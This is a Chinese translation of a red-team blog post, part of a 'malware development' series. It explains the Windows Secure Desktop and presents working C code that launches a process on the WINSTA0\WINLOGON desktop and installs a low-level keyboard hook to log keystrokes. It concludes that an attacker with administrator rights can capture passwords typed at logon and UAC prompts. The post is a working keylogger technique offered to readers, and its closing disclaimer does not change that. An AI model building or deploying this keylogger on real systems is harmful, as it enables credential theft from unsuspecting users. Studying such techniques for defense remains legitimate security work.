文章总结: 文章介绍了Windows安全桌面特性及其隔离机制,解释了如何利用CreateProcessAPI创建在安全桌面运行的进程。文章详细展示了实现键盘记录器的代码,使用SetWindowsHookExAPI和WH_KEYBOARD_LL钩子类型监控键盘输入。文章指出,只要有管理员权限,就可以在Winlogon桌面运行键盘记录器,捕获安全桌面输入的密码,这是恶意软件可能利用的安全风险。 综合评分: 87 文章分类: 恶意软件,二进制安全,安全开发,漏洞分析,红队
Windows 恶意软件开发(七):突破安全桌面,实现键盘记录器
aeverj
红队工坊
2025年12月15日 06:00 北京
翻译自 Malware development part 7 – Secure Desktop keylogger
这是恶意软件开发系列的第七篇文章。在这个系列中,我们将探索并尝试实现恶意应用程序用于执行代码、躲避防御和持久化的多种技术。
今天我们将聊聊 Windows 上的”安全桌面”(Secure Desktop),并动手实现一个键盘记录器。
什么是安全桌面?
安全桌面是 Windows 的一项特性,它会将系统进程的图形界面元素(比如窗口、提示框等)隔离开来。简单来说,它就是一个独立的桌面环境,只有系统完整性级别的进程才能访问。
如果用户账户控制(UAC,User Account Control)被配置为使用安全桌面(ConsentPromptBehaviorUser = 1 且 ConsentPromptBehaviorAdmin = 1 或 2),那么权限提升的同意提示和凭据输入框都会显示在这个特殊桌面上。这样做可以保护这些提示框不被以用户权限运行的恶意代码干扰。此外,负责处理用户登录的 Winlogon 进程也运行在这个桌面上。
实际上,CreateProcess 这个 API 函数允许我们创建一个分配到任意桌面的进程(前提是拥有相应的权限),只需通过 STARTUPINFO 参数来指定。代码示例如下:
STARTUPINFOA startupInfo;
ZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
PROCESS_INFORMATION processInfo;
ZeroMemory(&processInfo, sizeof(processInfo));
char desktop[] = "WINSTA0\\WINLOGON";
startupInfo.lpDesktop = desktop;
CreateProcessA(currentProcessPath, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &startupInfo, &processInfo);
这里 WINSTA0\DEFAULT 是默认桌面,而 WINSTA0\WINLOGON 就是安全桌面。
键盘记录器的实现
普通的键盘记录器如果以低权限用户身份运行,是无法访问安全桌面的。但是,如果我们能将权限提升到系统级别(SYSTEM),就可以让键盘记录器代码在 WINLOGON 桌面上运行。
典型的键盘记录器会使用 SetWindowsHookEx 这个 API,配合 WH_KEYBOARD_LL 钩子类型来监控底层键盘输入事件。这个函数会设置一个回调函数,每次发生事件(在这里就是每次键盘输入)时都会被调用。另外,底层钩子依赖消息循环(message loop),这是 Windows 图形界面应用程序用来通信的一种机制。
从传递给钩子函数的信息中,我们可以提取按键状态——判断哪个键被按下或释放。当用户在按住 Alt 键的同时按下其他键时,系统会发送 WM_SYSKEYUP 和 WM_SYSKEYDOWN 消息。
LRESULT CALLBACK KeyboardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
int msg = 1 + (kbdStruct.scanCode << 16) + (kbdStruct.flags << 24);
char keyName[64];
GetKeyNameTextA(msg, keyName, 64);
char keyState[16];
switch (wParam)
{
case WM_KEYUP:
strncpy(keyState, "Key Up\0", 16);
break;
case WM_KEYDOWN:
strncpy(keyState, "Key Down\0", 16);
break;
case WM_SYSKEYUP:
strncpy(keyState, "Sys Key Up\0", 16);
break;
case WM_SYSKEYDOWN:
strncpy(keyState, "Sys Key Down\0", 16);
break;
}
printf("Captured: %s \t %s\n", keyName, keyState);
return CallNextHookEx(0, nCode, wParam, lParam);;
}
intmain()
{
SetWindowsHookExA(WH_KEYBOARD_LL, KeyboardHook, NULL, 0);
while (GetMessageA(0, 0, 0, 0));
}
就是这样,效果如下:
总结
只要在 Windows 机器上拥有管理员权限,我们就可以在 Winlogon 桌面上运行键盘记录器,从而捕获安全桌面上输入的密码。
如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号
在这里,我会持续分享更多高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!
免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。
查看原文:《Windows 恶意软件开发(七):突破安全桌面,实现键盘记录器》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论